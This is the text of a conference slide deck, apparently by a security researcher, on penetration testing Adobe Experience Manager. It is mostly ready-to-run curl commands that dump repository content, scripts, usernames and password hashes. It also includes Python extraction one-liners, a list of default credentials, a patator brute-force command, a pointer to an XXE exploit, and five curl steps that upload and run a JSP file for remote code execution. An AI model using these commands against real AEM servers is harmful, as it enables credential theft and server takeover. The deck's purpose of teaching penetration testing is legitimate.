Hack1ng Adobe Experience

Manager sites

• Mikhail Egorov

• Security researcher

• Works in Odin (Parallels)

• 0ang3el (at) gma1l (d0t) com

Who is that guy?

• http://resources.infosecinstitute.com/adobe-cq-pentesting-guide-part-1/

• http://www.slideshare.net/CQCON/prsentation-ben-zahler

• https://docs.adobe.com/docs/en/aem/6-0/administer/security/security-checklist.html

Related Work

• Sensitive information from JCR

• Installed OSGI bundles

• Custom scripts

• Usernames

• Password hashes

• Elements that allow anonymous modification

What do we want

• Use JsonRendererServlet

Sensitive information from JCR

curl -X “GET” http://127.0.0.1:8080/.json

curl -X “GET” http://127.0.0.1:8080/.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.6.json

curl -X “GET” http://127.0.0.1:8080/.tidy.infinity.json

• List of all bundles

• QueryBuilder is your friend! http://docs.adobe.com/docs/en/cq/5-6-1/dam/customizing_and_extendingcq5dam/query_builder.html

Installed OSGI bundles

curl -X “GET” http://127.0.0.1:8080/bin.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/bin/querybuilder.json

• List customs scripts

• List compiled custom scripts from cache

Custom scripts

curl -X “GET” http://127.0.0.1:8080/apps.tidy.infinity.json

curl -X “GET” http://127.0.0.1:8080/var/classes.tidy.infinity.json

• Dump content node properties

• Use regular expression to extract usernames (pipe with prev command)

Usernames

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; print "\n".join([m.group(1) for m in

re.finditer("\".+?By\":\"(.+?)\"",sys.stdin.readlines()[0])])' |

sort –u

• Use QueryBuilder bundle

Password hashes

curl -X “GET”

http://127.0.0.1:8080/bin/querybuilder.json?type=rep:User&p.hits=sel

ective&p.properties=rep:principalName%20rep:password&p.limit=100

• Dump content node properties

• Use regular expression to check (pipe with prev command)

Anonymous modification

curl -X “GET” http://127.0.0.1:8080/content.infinity.json

python -c 'import sys,re; m =

re.search("\".+?By\":\"anonymous\"",sys.stdin.readlines()[0]); print

"Anon modification: ","Yes" if m else "No"'

• Try default user credentials: admin/admin, author/author, anonymous/anonymous

• Offline attack (brute hashes)

• Online attack (POST servlet bundle)

Getting access

patator http_fuzz url=http://127.0.0.1:8080/content/fake.json

method=POST user_pass=FILE0:FILE1 0=users.txt 1=pass.txt

auth_type=basic -x ignore:code!=200 --threads 5

• XSS

• CSRF

• DoS

• Read local files

• RCE

You have access, now what?

Not covered, sorry!

• CVE-2015-1833 ( http://seclists.org/oss-sec/2015/q2/518 )

• Webdav OSGI bundle uses XML parser that is not properly initialized

• Exploit - https://www.exploit-db.com/exploits/37110/

Webdav bundle, XXE

• Out-of-bound exploitationhttp://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

• Pros: works with anonymous credentials

• Cons: you need external server, instable

• Inbound exploitation• Pros: you do not need external server, more stable

• Cons: you need credentials of the user that is able to modify some node in JCR

Webdav bundle, XXE

http://www.youtube.com/watch?v=Hg3AXoG89Gs

Webdav bundle, XXE Demo

• We have node – http://127.0.0.1:8080/rce

• We have script exec.jsp that is magically loaded into node –http://127.0.0.1:8080/apps/rcetype

• When someone navigates to http://127.0.0.1:8080/rce.exec our exec.jsp will be executed.

Remote code execution

{"jcr:createdBy":"admin","jcr:created":"Sun May 03 2015 21:24:38

GMT+0300","jcr:primaryType":"nt:folder","exec.jsp":{"jcr:createdBy":"admin","jcr:crea

ted":"Sun May 03 2015 21:24:38 GMT+0300","jcr:primaryType":"nt:file"}}

{"sling:resourceType":"rcetype","jcr:primaryType":"nt:unstructured"}

• Step I: Create rcetype node

Remote code execution

curl –u admin:admin –Fjcr:primaryType=nt:folder

http://127.0.0.1:8080/content/rcetype

• Step II: Upload script exec.jsp to rcetype node

Remote code execution

curl –u admin:admin –Fexec.jsp=@RCE.jsp

http://127.0.0.1:8080/content/rcetype

• Step III: Copy rcetype to /apps

Remote code execution

curl –u admin:admin –F:operation=copy –F:dest=/apps/rcetype

http://127.0.0.1:8080/content/rcetype

• Step IV: Create rce node bound to rcetype

Remote code execution

curl –u admin:admin –Fsling:resourceType=rcetype

http://127.0.0.1:8080/content/rce

• Step V: Launch jsp script

Remote code execution

curl –X “GET” http://127.0.0.1:8080/content/rce.exec

http://www.youtube.com/watch?v=Z9n2T07e6Ls

Remote code execution, Demo

Ask a Ninja